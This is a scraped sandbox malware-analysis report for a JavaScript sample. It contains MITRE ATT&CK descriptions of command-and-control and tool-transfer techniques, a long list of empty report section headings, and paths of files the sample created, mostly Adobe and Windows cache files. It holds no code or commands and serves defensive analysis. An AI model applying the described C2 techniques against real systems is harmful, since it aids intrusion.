Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 262192623320272411.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\75e6f072-c922-45d7-9848-01361fd38015.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5160

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
262192623320272411.js